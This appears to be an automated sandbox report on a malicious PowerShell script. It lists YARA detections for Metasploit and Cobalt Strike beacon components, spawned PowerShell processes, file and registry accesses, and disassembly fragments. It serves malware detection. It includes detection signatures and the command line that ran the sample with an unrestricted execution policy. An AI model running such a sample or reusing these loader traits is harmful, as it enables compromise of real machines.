Source: amsi64_6296.amsi.csv, type: OTHER	Matched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth (Nextron Systems)
Source: amsi32_6452.amsi.csv, type: OTHER	Matched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth (Nextron Systems)
Source: 00000002.00000002.617159585.0000000008852000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000002.00000002.617159585.0000000008852000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000002.00000002.590121495.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth (Nextron Systems)
Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: FireEye
Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.580163042.000002B4E81A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth (Nextron Systems)
Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: FireEye
Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.580163042.000002B4E82AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth (Nextron Systems)
Source: Process Memory Space: powershell.exe PID: 6296, type: MEMORYSTR	Matched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth (Nextron Systems)
Source: Process Memory Space: powershell.exe PID: 6296, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6452, type: MEMORYSTR	Matched rule: Metasploit Payloads - file msf-ref.ps1 Author: Florian Roth (Nextron Systems)
Source: Process Memory Space: powershell.exe PID: 6452, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: 245f38b4b8a25754bf6e630f8e2acf59.ps1, type: SAMPLE	Matched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth (Nextron Systems), description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 245f38b4b8a25754bf6e630f8e2acf59.ps1, type: SAMPLE	Matched rule: CobaltStrike_Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13 date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87
Source: amsi64_6296.amsi.csv, type: OTHER	Matched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth (Nextron Systems), description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: amsi64_6296.amsi.csv, type: OTHER	Matched rule: CobaltStrike_Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13 date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87
Source: amsi32_6452.amsi.csv, type: OTHER	Matched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth (Nextron Systems), description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000002.00000002.617159585.0000000008852000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000002.00000002.617159585.0000000008852000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000002.00000002.590121495.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth (Nextron Systems), description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6 date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1
Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date = 2020-12-02, author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator date = 2021-07-08, author = yara@s3c.za.net, description = Detects CobaltStrike C2 encoded profile configuration
Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000002.00000003.418496631.00000000080F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.580163042.000002B4E81A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth (Nextron Systems), description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6 date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1
Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date = 2020-12-02, author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator date = 2021-07-08, author = yara@s3c.za.net, description = Detects CobaltStrike C2 encoded profile configuration
Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000002.00000002.590121495.0000000005826000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000002.00000002.616855726.0000000008820000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Sleeve_Beacon_Dll_v4_3_v4_4_v4_5_and_v4_6 date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s sleeve/beacon.dll Versions 4.3 and 4.4, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, rs2 = 78a6fbefa677eeee29d1af4a294ee57319221b329a2fe254442f5708858b37dc, hash = 51490c01c72c821f476727c26fbbc85bdbc41464f95b28cdc577e5701790845f
Source: 00000000.00000002.580163042.000002B4E82AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth (Nextron Systems), description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: Process Memory Space: powershell.exe PID: 6296, type: MEMORYSTR	Matched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth (Nextron Systems), description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: Process Memory Space: powershell.exe PID: 6296, type: MEMORYSTR	Matched rule: CobaltStrike_Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13 date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87
Source: Process Memory Space: powershell.exe PID: 6296, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6452, type: MEMORYSTR	Matched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth (Nextron Systems), description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: Process Memory Space: powershell.exe PID: 6452, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF9A7990CD0	0_2_00007FF9A7990CD0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF9A7990D30	0_2_00007FF9A7990D30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00A5C240	2_2_00A5C240
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00A5C2CB	2_2_00A5C2CB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00A5C308	2_2_00A5C308

Source: 245f38b4b8a25754bf6e630f8e2acf59.ps1

ReversingLabs: Detection: 64%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\245f38b4b8a25754bf6e630f8e2acf59.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6460:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6304:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cmrapxxo.hjk.ps1

Jump to behavior

Source: classification engine

Classification label: mal92.troj.winPS1@5/7@0/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000003.363667402.000000000733C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb=` source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ?\C:\Windows\dll\mscorlib.pdb=` source: powershell.exe, 00000002.00000002.601091963.0000000007300000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb_ source: powershell.exe, 00000002.00000003.363728358.00000000072F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb@*'\ source: powershell.exe, 00000002.00000003.363728358.0000000007284000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F0801 push ecx; ret	2_3_080F0808
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F1812 push edx; ret	2_3_080F1823
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F0868 push edx; ret	2_3_080F0887
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F189B push FFFFFFC2h; ret	2_3_080F18C5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F08B2 push edx; ret	2_3_080F08BB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F18DA push FFFFFFC2h; ret	2_3_080F18C5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F691B push esp; ret	2_3_080F6923
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F094B push edx; ret	2_3_080F0951
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F09A6 push ebx; ret	2_3_080F09AC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F1AB1 pushad ; retf	2_3_080F1ABA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F1AC5 pushad ; iretd	2_3_080F1AC7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F9B0E push FFFFFFC3h; ret	2_3_080F9B2D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F3B48 pushfd ; ret	2_3_080F3B56
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F4BB8 push ebx; ret	2_3_080F4BB9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F1BDD push eax; ret	2_3_080F1BFB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F0C87 push ebx; ret	2_3_080F0C90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F9EE0 push 8E48C3C3h; retf	2_3_080F9EF1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F1EF1 push D3C3C3ABh; ret	2_3_080F1EF6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F4F05 push cs; ret	2_3_080F4F51
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F7F3E push es; ret	2_3_080F7F4E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F7F7A push es; ret	2_3_080F7F8F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F4FAB push cs; ret	2_3_080F4F51
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F722E push ss; ret	2_3_080F7243
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F141B push FFFFFFC0h; ret	2_3_080F1427
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080FB50E push esi; ret	2_3_080FB511
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F055B push FFFFFF99h; ret	2_3_080F0567
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080FB58A push esi; retf	2_3_080FB5D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080FB5D3 push esi; retf	2_3_080FB5D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080FB5D3 push esi; iretd	2_3_080FB632
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F0668 push eax; ret	2_3_080F0671
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_3_080F469C push edi; ret	2_3_080F46AB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
